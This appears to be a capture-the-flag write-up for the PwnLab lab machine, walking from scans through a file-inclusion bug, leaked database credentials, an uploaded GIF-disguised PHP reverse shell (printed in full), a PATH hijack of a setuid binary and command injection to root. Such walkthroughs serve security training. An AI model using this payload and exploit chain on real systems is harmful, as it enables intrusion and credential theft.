Pwnlab

Enumeration

Generic Scan

# nmap -sC -sV -oA /boxes/pwnlab/nmap/tcp 172.16.240.1
Nmap scan report for 172.16.240.1
Host is up (0.0097s latency).
Not shown: 996 closed ports
PORT     STATE    SERVICE     VERSION
80/tcp   open     http        Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp  open     rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          51208/tcp  status
|_  100024  1          51433/udp  status
139/tcp  filtered netbios-ssn
3306/tcp open     mysql       MySQL 5.5.47-0+deb8u1
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.47-0+deb8u1
|   Thread ID: 7323
|   Capabilities flags: 63487
|   Some Capabilities: ConnectWithDatabase, Support41Auth, ODBCClient, Speaks41ProtocolOld, LongColumnFlag, SupportsLoadDataLocal, SupportsTransactions, IgnoreSigpipes, InteractiveClient, DontAllowDatabaseTableColumn, FoundRows, Speaks41ProtocolNew, LongPassword, SupportsCompression, IgnoreSpaceBeforeParenthesis, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
|   Status: Autocommit
|   Salt: ?MCK,;%Dia-XV']}#/b"
|_  Auth Plugin Name: 88

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.61 seconds

UDP Scan

# nmap --top-ports 200 -sU -sV -oA /boxes/pwnlab/nmap/udp 172.16.240.1 
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-19 14:25 CEST
Nmap scan report for 172.16.240.1
Host is up (0.044s latency).
Not shown: 195 closed ports
PORT    STATE         SERVICE     VERSION
67/udp  open|filtered dhcps
68/udp  open|filtered dhcpc
111/udp open          rpcbind     2-4 (RPC #100000)
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm

Let’s focus on the webserver

http enumeration

# nikto -h 172.16.240.1
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          172.16.240.1
+ Target Hostname:    172.16.240.1
+ Target Port:        80
+ Start Time:         2019-05-19 14:49:34 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is "http://127.0.1.1/images/".
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Cookie PHPSESSID created without the httponly flag
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ Server leaks inodes via ETags, header found with file /icons/README, fields: 0x13f4 0x438c034968a80 
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ 7535 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time:           2019-05-19 14:50:15 (GMT2) (41 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

attacks

LFI using filter

We know that code like

if (isset($_GET['page']))
{
   include($_GET['page']);
   // Or if the developper think to limit to php 
   include($_GET['page'].".php");
}

is pownable so let’s try on our server to read the config.php file. With burp we can edit the post header :

POST /?page=php://filter/convert.base64-encode/resource=config HTTP/1.1

alt text

And obtain the content of config.php in base64:

PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+

With the decoder in Burp

alt text

<?php
$server	  = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

With the same method we can also look the source of index.php and find an interesting part …

alt text

//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
	include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.

Exploit mysql

Let’s log on mysql server and see if we have interesting table …

# mysql -uroot -pH4u%QJ_H99 -h 172.16.240.1
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 7275
Server version: 5.5.47-0+deb8u1 (Debian)

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> use Users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users           |
+-----------------+
1 row in set (0.01 sec)

MySQL [Users]> select * from users;
+------+------------------+
| user | pass             |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.00 sec)

Since the password are stored in base64 we can get the password for all the account :

echo -n "Sld6WHVCSkpOeQ==" |base64 -d
JWzXuBJJNy
echo -n "U0lmZHNURW42SQ==" |base64 -d
SIfdsTEn6I
echo -n "aVN2NVltMkdSbw==" |base64 -d
iSv5Ym2GRo

With an an account we are able to upload file, but there is some restrictions that we can identify.

POST /?page=php://filter/convert.base64-encode/resource=upload HTTP/1.1
[...]
$whitelist = array(".jpg",".jpeg",".gif",".png"); 
[...]
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
   die('Error 002');
}
[...]
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

Now we can craft the backdoor for example :

GIF89;  
<?php set_time_limit (0); $VERSION = "1.0"; $ip = "LHOST"; $port = LPORT; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = "uname -a; w; id; /bin/bash -i"; $daemon = 0; $debug = 0; if (function_exists("pcntl_fork")) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Cannot fork"); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit("Error: Cannot setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise.  This is quite common and not fatal."); } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Cannot spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) {  if (!$daemon) { print "$string\\n"; } } ?>

Upload the gif

alt text

alt text

Prepare the listener for the reverse shell

# nc -nvlp 443
listening on [any] 443 ...
connect to [192.168.2.114] from (UNKNOWN) [172.16.240.1] 58180
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux
 15:09:01 up 2 days,  9:04,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (489): Inappropriate ioctl for device
bash: no job control in this shell

Call our backdoor

Send the call to index.php the repeater of burp and then call it after editing the header

alt text

Adding our specific cookie :

Cookie: lang=../upload/91fcfa737e560c6130bd0cc7a7569543.gif

so we have :

GET / HTTP/1.1
Host: 172.16.240.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: lang=../upload/91fcfa737e560c6130bd0cc7a7569543.gif
Connection: close
Upgrade-Insecure-Requests: 1

A shell pop :

# nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.2.114] from (UNKNOWN) [172.16.240.1] 59409
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux
 09:28:15 up 12 days,  3:23,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (489): Inappropriate ioctl for device
bash: no job control in this shell
www-data@pwnlab:/$ 

Upgrade our shell

Upgrading to a fully interactive TTY using Python

While in reverse shell

python -c 'import pty; pty.spawn("/bin/bash")' 

Ctrl-Z, back In Kali

stty raw -echo
fg

Privilege escalation

/opt/tools/privEsc/LinEnum# python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...

Download payload

@pwnlab:/tmp$ wget http://192.168.2.114:8000/LinEnum.sh
converted 'http://192.168.2.114:8000/LinEnum.sh' (ANSI_X3.4-1968) -> 'http://192.168.2.114:8000/LinEnum.sh' (UTF-8)
--2019-05-24 00:18:51--  http://192.168.2.114:8000/LinEnum.sh
Connecting to 192.168.2.114:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45639 (45K) [text/x-sh]
Saving to: 'LinEnum.sh'

LinEnum.sh          100%[=====================>]  44.57K  --.-KB/s   in 0.02s  

2019-05-24 00:18:51 (2.81 MB/s) - 'LinEnum.sh' saved [45639/45639]

##

-t to include all tests

www-data@pwnlab:/tmp$ /bin/bash LinEnum.sh -t -r report.txt

Note we see that netcat is installed by default !

### INTERESTING FILES ####################################
[-] Useful file locations:
/bin/nc
/bin/netcat

Of course, we see in running process our enumeration and reverse shell:

www-data 23254  0.0  1.0   8244  5564 ?        S    00:11   0:00 python -c import pty; pty.spawn("/bin/bash")
www-data 23255  0.0  0.5   3820  3048 pts/0    Ss   00:11   0:00 /bin/bash
www-data 23266  0.0  0.6   4468  3572 pts/0    S+   00:23   0:00 /bin/bash LinEnum.sh -t -r report.txt
www-data 23268  0.0  0.6   4504  3296 pts/0    S+   00:23   0:00 /bin/bash LinEnum.sh -t -r report.txt
www-data 23269  0.0  0.2   2176  1152 pts/0    S+   00:23   0:00 tee -a report.txt-24-05-19
root     23361  0.0  0.2  12256  1468 ?        S    00:23   0:00 /lib/systemd/systemd-udevd
www-data 23500  0.0  0.5   4504  2640 pts/0    S+   00:23   0:00 /bin/bash LinEnum.sh -t -r report.txt
www-data 23501  0.0  0.3   3172  2024 pts/0    R+   00:23   0:00 ps aux

There is an account by username we saw in database :

[-] Are permissions on /home directories lax:
total 24K
drwxr-xr-x  6 root root 4.0K Mar 17  2016 .
drwxr-xr-x 21 root root 4.0K Mar 17  2016 ..
drwxr-x---  2 john john 4.0K Mar 17  2016 john
drwxr-x---  2 kane kane 4.0K Mar 17  2016 kane
drwxr-x---  2 kent kent 4.0K Mar 17  2016 kent
drwxr-x---  2 mike mike 4.0K Mar 17  2016 mike

Shall we can use the same password ???

The password for mike doesn’t work

www-data@pwnlab:/tmp$ su kent
Password: JWzXuBJJNy
kent@pwnlab:/tmp$ 

We saw nothing interesting with this account

Let’s try other account

kent@pwnlab:~$ su kane
Password: iSv5Ym2GRo

kane@pwnlab:~$ ls
msgmike

kane@pwnlab:~$ file msgmike 

msgmike: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7e0b21f33b2134bd17467c3bb9be37deb88b365, not stripped

kane@pwnlab:~$ ./msgmike 
cat: /home/mike/msg.txt: No such file or directory

Now we know that msgmike is setuid and it call cat without a full path, so let’s craft our own cat …

kane@pwnlab:~$ echo '/bin/sh' > cat
kane@pwnlab:~$ chmod +x cat 

And change the path to have priority other legitimate one

kane@pwnlab:~$ export PATH=./:$PATH
kane@pwnlab:~$ ./msgmike
./msgmike
$ whoami
mike
$ cd /home/mike
$ ls
msg2root
$ ./msg2root
Message for root: test ; whoami
test
root

$ ./msg2root Message for root: test;/bin/sh test

whoami

root

Grab the proof:

# cat /root/flag.txt
.-=~=-.                                                                 .-=~=-.
(__  _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__  _)
(_ ___)  _____                             _                            (_ ___)
(__  _) /  __ \                           | |                           (__  _)
( _ __) | /  \/ ___  _ __   __ _ _ __ __ _| |_ ___                      ( _ __)
(__  _) | |    / _ \| '_ \ / _` | '__/ _` | __/ __|                     (__  _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \                     (_ ___)
(__  _)  \____/\___/|_| |_|\__, |_|  \__,_|\__|___/                     (__  _)
( _ __)                     __/ |                                       ( _ __)
(__  _)                    |___/                                        (__  _)
(__  _)                                                                 (__  _)
(_ ___) If  you are  reading this,  means  that you have  break 'init'  (_ ___)
( _ __) Pwnlab.  I hope  you enjoyed  and thanks  for  your time doing  ( _ __)
(__  _) this challenge.                                                 (__  _)
(_ ___)                                                                 (_ ___)
( _ __) Please send me  your  feedback or your  writeup,  I will  love  ( _ __)
(__  _) reading it                                                      (__  _)
(__  _)                                                                 (__  _)
(__  _)                                             For sniferl4bs.com  (__  _)
( _ __)                                claor@PwnLab.net - @Chronicoder  ( _ __)
(__  _)                                                                 (__  _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
`-._.-'                                                                 `-._.-'

Or use the proof generator :-)

echo " ";echo "uname -a:";uname -a;echo " ";echo "hostname:";hostname;echo " ";echo "id";id;echo " ";echo "whoami";whoami;echo " ";echo "ifconfig:";/sbin/ifconfig -a;echo " ";echo "proof:";cat /root/proof.txt 2>/dev/null;cat /root/flag.txt 2>/dev/null; cat /Desktop/proof.txt 2>/dev/null;cat /Desktop/flag.txt 2>/dev/null;echo " "